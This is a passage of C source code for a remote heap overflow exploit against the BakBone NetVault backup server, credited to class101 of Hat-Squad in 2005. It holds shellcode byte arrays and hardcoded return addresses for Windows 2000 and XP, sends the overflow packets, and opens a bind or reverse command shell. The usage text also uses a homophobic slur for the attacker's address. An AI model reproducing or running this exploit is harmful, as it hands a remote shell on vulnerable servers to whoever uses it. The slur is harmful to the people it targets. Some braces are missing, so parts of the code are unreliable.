  453. "\xA5\x97\xF0\xCA\x05\x00\x00\x00\x6E\x33\x32\x3B\x00\x20\x00\x00"
  454. "\x00\x10\x02\x4E\x3F\xAC\x14\xCC\x0A\x00\x00\x00\x00\x00\x00\x00"
  455. "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
  456. "\x00\x01\xA5\x97\xF0\xCA\x05\x00\x00\x00\x6E\x33\x32\x3B\x00\x20"
  457. "\x00\x00\x00\x10\x02\x4E\x3F\xC0\xA8\xEA\xEB\x00\x00\x00\x00\x00"
  458. "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
  459. "\x00\x00\x00\x01\xA5\x97\xF0\xCA\x05\x00\x00\x00\x6E\x33\x32\x3B"
  460. "\x00\x20\x00\x00\x00\x10\x02\x4E\x3F\xC2\x97\x2C\xD3\x00\x00\x00"
  461. "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
  462. "\x00\x00\x00\x00\x00\xB9\xF9\xA2\xC8\x02\x02\x00\x00\x00\xA5\x97"
  463. "\xF0\xCA\x05\x00\x00\x00\x6E\x33\x32\x3B\x00\x20\x00\x00\x00\x04"
  464. "\x02\x4E\x3F\xAC\x14\xCC\x0A\xB0\xFC\xE2\x00\x00\x00\x00\x00\xEC"
  465. "\xFA\x8E\x01\xA4\x6B\x41\x00\xE4\xFA\x8E\x01\xFF\xFF\xFF\xFF\x01"
  466. "\x02\x00\x00\x00";
  467.  
  468. char scodeD[] =
  469. "\x00\x06\x00\x00\x00\x0B\x00\x00\x00\x05\x00\x00\x00\x54"
  470. "\x79\x70\x65\x00\x01\x00\x00\x00\x01\x00\x00\x00\x06\x00\x00\x00"
  471. "\x77\x69\x6E\x6E\x74\x00\x12\x00\x00\x00\x55\x44\x50\x20\x46\x72"
  472. "\x61\x67\x6D\x65\x6E\x74\x20\x53\x69\x7A\x65\x00\x01\x00\x00\x00"
  473. "\x01\x00\x00\x00\x05\x00\x00\x00\x31\x34\x30\x30\x00\x07\x00\x00"
  474. "\x00\x53\x65\x72\x76\x65\x72\x00\x01\x00\x00\x00\x01\x00\x00\x00"
  475. "\x05\x00\x00\x00\x54\x52\x55\x45\x00\x0C\x00\x00\x00\x44\x65\x73"
  476. "\x63\x72\x69\x70\x74\x69\x6F\x6E\x00\x00\x00\x00\x00\x01\x00\x00"
  477. "\x00\x0A\x00\x00\x00\x4E\x56\x56\x65\x72\x73\x69\x6F\x6E\x00\x01"
  478. "\x00\x00\x00\x01\x00\x00\x00\x05\x00\x00\x00\x37\x30\x33\x30\x00"
  479. "\x0D\x00\x00\x00\x4E\x56\x42\x75\x69\x6C\x64\x4C\x65\x76\x65\x6C"
  480. "\x00\x01\x00\x00\x00\x01\x00\x00\x00\x03\x00\x00\x00\x33\x37\x00";
  481.  
  482. char grabcpname[] =
  483. "\xC9\x00\x00\x00\x01\xCB\x22\x77\xC9\x17\x00\x00\x00\x69\x3B\x69"
  484. "\x3B\x69\x3B\x69\x3B\x69\x3B\x69\x3B\x69\x3B\x69\x3B\x69\x3B\x69"
  485. "\x3B\x73\x3B\x00\x00\x00\x00\x00\xC0\x00\x00\x00\x00\x00\x00\x00"
  486. "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x08\x00\x00\x00"
  487. "\x03\x00\x00\x00\x03\x00\x00\x00\x00\x00\x00\x00\x0B\x00\x00\x00"
  488. "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x00\x00\x00\x00\x00\x00"
  489. "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
  490. "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
  491. "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
  492. "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
  493. "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
  494. "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
  495. "\x09\x00\x00\x00\x00\x00\x00\x00\x00";
  496.  
  497. char payload[1024],payload2[20000000],recvbuf[1024],ver2[1024],
  498. cpname[1024],sz[1024],szb[1024],szb2[1024];
  499. int tot,tot2,l00p=0;
  500.  
  501. char sip[3],spo[1],pad[]="\xEB\x0A",pad2[]="\xE9\xF3\xFD\xFF\xFF";
  502. char ret1[]="\x7E\x6D\x03\x75"; //call dword [esi+4C], ws2_32.dll, w2k SP4 EN
  503. char ret1c[]="\xBD\x9B\x36\x7C"; //call dword [edi+74], MSVCR71.dll, XP SP1a-1-0 EN
  504. char ret2[]="\xF0\xA1\x5C\x7C"; //UEF (UnHandledExceptionFilter) w2k sp4 EN
  505. char ret4[]="\xB4\x73\xED\x77"; //UEF XP SP1a-1-0 EN
  506. char padA[]="\x00\x00\x00";
  507. char szc[]="\xFF\xFF";
  508.  
  509. // rtlmethod char repair[]="\xC7\x40\x89\x60\x20\xF8\x77"; repairing RtlEnterCriticalSection on 2k SP4
  510. //you will prolly need to repair this repair[] for your os :>
  511. //I did it quickly: mov dword ptr [eax-77],77F82060
  512. //for litchfield this method is reliable due to the fixed address 0x7FFDF020
  513. //for me that's a crap method like others known heap exploitations
  514. //because you realiably repair the functions across all nt based os?, and where to realiably jump...,
  515. //and also the call to drwtsn32, right before ExitProcess(), acts as a breakpoint, and 
  516. //your shellcode will be executed once 'OK' or 'CANCEL' clicked. At least this is still a 'fun' ExitProcess() :)
  517.  
  518. #ifdef WIN32
  519. WSADATA wsadata;
  520. #endif
  521.  
  522. void ver();
  523. void usage(char* us);
  524. void sl(int time);
  525.  
  526. int main(int argc,char *argv[])
  527. {
  528. ver();
  529. int check1, check2, rc, i, j, k;
  530. unsigned long gip;
  531. unsigned short gport;
  532. char *what, *where, *os;
  533. loop:
  534. if (argc>6||argc<3||atoi(argv[1])>2||atoi(argv[1])<1){usage(argv[0]);return -1;}
  535. if (argc==5){usage(argv[0]);return -1;}
  536. if (strlen(argv[2])<7){usage(argv[0]);return -1;}
  537. if (argc==6)
  538. {
  539. if (strlen(argv[4])<7){usage(argv[0]);return -1;}
  540. }
  541. #ifndef WIN32
  542. if (argc==6)
  543. {
  544. gip=inet_addr(argv[4])^(long)0x00000000;
  545. gport=htons(atoi(argv[5]))^(short)0x0000;
  546. memcpy(&sip[0], &gip, 4);memcpy(&spo[0], &gport, 2);
  547. check1=strlen(&sip[0]);check2=strlen(&spo[0]);
  548. if (check1 == 0||check1 == 1||check1 == 2||check1 == 3){
  549. printf("[+] error, the IP has a null byte in hex...\n");return -1;}
  550. if (check2 != 2){printf("[+] error, the PORT has a null byte in hex...\n");return -1;}
  551. }
  552. #define Sleep sleep
  553. #define SOCKET int
  554. #define closesocket(s) close(s)
  555. #else
  556. if (WSAStartup(MAKEWORD(2,0),&wsadata)!=0){printf("[+] wsastartup error\n");
  557. return -1;}
  558. if (argc==6)
  559. {
  560. gip=inet_addr(argv[4])^(ULONG)0x00000000;
  561. gport=htons(atoi(argv[5]))^(USHORT)0x0000;
  562. memcpy(&sip[0], &gip, 4);memcpy(&spo[0], &gport, 2);
  563. check1=strlen(&sip[0]);check2=strlen(&spo[0]);
  564. if (check1 == 0||check1 == 1||check1 == 2||check1 == 3){
  565. printf("[+] error, the IP has a null byte in hex...\n");return -1;}
  566. if (check2 != 2){printf("[+] error, the PORT has a null byte in hex...\n");return -1;}
  567. }
  568. #endif
  569. int ip=htonl(inet_addr(argv[2])), port;
  570. if (argc==4||argc==6){port=atoi(argv[3]);} else port=20031;
  571. SOCKET s;fd_set mask;struct timeval timeout; struct sockaddr_in server;
  572. s=socket(AF_INET,SOCK_STREAM,0);
  573. if (s==-1){printf("[+] socket() error\n");return -1;} 
  574. if (atoi(argv[1]) == 1){what=ret1;where=ret2;os="Win2k SP4 Server English\n[+] 
  575. Win2k SP4 Pro English\n";}
  576. if (atoi(argv[1]) == 2){what=ret1c;where=ret4;os="WinXP SP0 Pro. English\n[+] 
  577. WinXP SP1 Pro. English\n[+] WinXP SP1a Pro. English\n";}
  578. if (l00p==0){printf("[+] TARGET: %s\n",os);sl(1);}
  579. server.sin_family=AF_INET;
  580. server.sin_addr.s_addr=htonl(ip);
  581. server.sin_port=htons(port);
  582. connect(s,( struct sockaddr *)&server,sizeof(server));
  583. timeout.tv_sec=3;timeout.tv_usec=0;FD_ZERO(&mask);FD_SET(s,&mask);
  584. switch(select(s+1,NULL,&mask,NULL,&timeout))
  585. {
  586. case -1: {printf("[+] select() error\n");closesocket(s);return -1;}
  587. case 0: {printf("[+] connect() error\n");closesocket(s);return -1;}
  588. default:
  589. if(FD_ISSET(s,&mask))
  590. {
  591. if (l00p==0)
  592. {
  593. printf("[+] connection 1: grabbing computername via netvault...\n");
  594. sl(2);
  595. send(s,grabcpname,sizeof(grabcpname)-1,0);
  596. rc = recv(s,recvbuf,sizeof(recvbuf),0);
  597. if (rc==-1||rc<400||recvbuf[13]!=105&&recvbuf[14]!=59){printf("[+] not netvault or 
  598. patched, aborting..\n");return -1;}
  599. else if (rc==0){printf("[+] nothing received, not netvault or patched, aborting..\n");return -1;}
  600. else printf("[+] analyzing packets, sorting computername\n");
  601. sl(2);
  602. printf("[+] bufsize: %d\n",rc);sl(1);
  603. for (i=80,j=0;recvbuf[i]!=0;i++,j++)
  604. {
  605. memset(cpname+j,recvbuf[i],1);
  606. }
  607. memset(sz,strlen(cpname)+1,1);
  608. memset(ver2,recvbuf[rc-37],1);memset(ver2+1,0x2E,1);
  609. memset(ver2+2,recvbuf[rc-35],1);memset(ver2+3,0x2E,1);
  610. memset(ver2+4,recvbuf[rc-34],1);
  611. printf("[+] cmpname: %s\n",cpname);sl(1);
  612. printf("[+] version: %s\n",ver2);sl(1);l00p++;
  613. closesocket(s);
  614. #ifdef WIN32
  615. WSACleanup();
  616. #endif
  617. goto loop;
  618. }
  619. printf("[+]\n[+] connection 2: modding payload regarding computername and length\n");sl(1);
  620. printf("[+] loading attack\n");sl(1);
  621. /*the cpname length is important, that's why we reajust EAX and ECX 
  622. function of cpnamelength.*/
  623. k=7-strlen(cpname);
  624. memset(payload,0x41,1);
  625. // rtlmethod memset(payload2,0x90,k+32417); rtl
  626. // rtlmethod memcpy(payload2+k+32417,"\x1C\xF0\xFD\x7F",4);
  627. // rtlmethod memcpy(payload2+k+32421,"\x1A\x9E\xEA\x00",4);
  628. // rtlmethod memcpy(payload2+k+31902, repair, 7);
  629. memset(payload2,0x90,k+35431);
  630. memcpy(payload2+k+32413,pad,2);memcpy(payload2+k+32417,what,4);
  631. memcpy(payload2+k+32421,where,4);memcpy(payload2+k+32426,pad2,5);
  632. if (argc==6)
  633. {
  634. memcpy(&scode2[167], &gip, 4);
  635. memcpy(&scode2[173], &gport, 2);
  636. memcpy(payload2+k+31914,scode2,strlen(scode2));
  637. }
  638. else memcpy(payload2+k+31914,scode1,strlen(scode1));
  639. tot=sizeof(padA)-1+sizeof(scodeA)-1+sizeof(scodeB)-1+sizeof(scodeC)-1+
  640. sizeof(scodeD)-1+strlen(payload)+strlen(payload2)+strlen(sz)+strlen(cpname);
  641. tot2=tot-192;
  642. memcpy(szb,&tot,2);memcpy(&scodeA[0],&szb,strlen(szb));
  643. memcpy(szb2,&tot2,2);memcpy(&scodeB[1],&szb2,strlen(szb2));
  644. memcpy(scodeC+254,szc,2);
  645. printf("[+] sh0uting the heap!\n");sl(3);
  646. if (send(s,scodeA,sizeof(scodeA)-1,0)==-1) { printf("[+] sending error, the server prolly rebooted.\n");
  647. return -1;}
  648. if (send(s,payload,strlen(payload),0)==-1) { printf("[+] sending error, the server prolly rebooted.\n");
  649. return -1;}
  650. if (send(s,scodeB,sizeof(scodeB)-1,0)==-1) { printf("[+] sending error, the server prolly rebooted.\n");
  651. return -1;}
  652. if (send(s,sz,strlen(sz),0)==-1) { printf("[+] sending error, the server prolly rebooted.\n");
  653. return -1;}
  654. if (send(s,padA,sizeof(padA)-1,0)==-1) { printf("[+] sending error, the server prolly rebooted.\n");
  655. return -1;}
  656. if (send(s,cpname,strlen(cpname),0)==-1) { printf("[+] sending error, the server prolly rebooted.\n");
  657. return -1;}
  658. if (send(s,scodeC,sizeof(scodeC)-1,0)==-1) { printf("[+] sending error, the server prolly rebooted.\n");
  659. return -1;}
  660. if (send(s,payload2,strlen(payload2),0)==-1) { printf("[+] sending error, the server prolly rebooted.\n");
  661. return -1;}
  662. sl(6);
  663. printf("[+]\n[+] size of payload: %d\n",tot);
  664. if (argc==6){printf("[+] payload sent, look at your listener, you should get a shell\n");}
  665. else printf("[+] payload sent, use telnet %s:101 to get a shell\n",inet_ntoa(server.sin_addr));
  666. return 0;
  667. }
  668. }
  669. closesocket(s);
  670. #ifdef WIN32
  671. WSACleanup();
  672. #endif
  673. return 0;
  674. }
  675.  
  676.  
  677. void usage(char* us) 
  678.  
  679. printf(" \n");
  680. printf("[+] . 101_netvault.exe Target VulnIP (bind mode) \n");
  681. printf("[+] . 101_netvault.exe Target VulnIP VulnPORT (bind mode) \n");
  682. printf("[+] . 101_netvault.exe Target VulnIP VulnPORT GayIP GayPORT reverse mode) \n");
  683. printf("TARGETS: \n");
  684. printf("[+] 1. Win2k SP4 Server English (*) - v5.0.2195 \n");
  685. printf("[+] 1. Win2k SP4 Pro English (*) - v5.0.2195 \n");
  686. printf("[+] 2. WinXP SP0 Pro. English - v5.1.2600 \n");
  687. printf("[+] 2. WinXP SP1 Pro. English (*) - v5.1.2600 \n");
  688. printf("[+] 2. WinXP SP1a Pro. English (*) - v5.1.2600 \n");
  689. printf("NOTE: \n");
  690. printf("The exploit bind a cmdshell port 101 or \n");
  691. printf("reverse a cmdshell on your listener. \n");
  692. printf("A wildcard (*) mean tested working, else, supposed working. \n");
  693. printf("A symbol (-) mean all. \n");
  694. printf(" Compilation msvc6, cygwin, Linux. \n");
  695. printf(" \n");
  696. return;
  697.  
  698. void ver()
  699. printf(" \n");
  700. printf("============================[v0.1]====\n");
  701. printf("=====BakBone NetVault, Backup Server===============\n"); 
  702. printf("=====Clientname, Remote Heap Overflow Exploit==========\n");
  703. printf("====coded by class101======[Hat-Squad.com 2005]=====\n");
  704. printf("============================================\n");
  705. printf(" \n");
  706. }
  707.  
  708. void sl(int time)
  709. {
  710. #ifdef WIN32
  711. Sleep(time*1000);
  712. #else
  713. Sleep(time);
  714. #endif
  715. }
  716.  
  717.  
  718.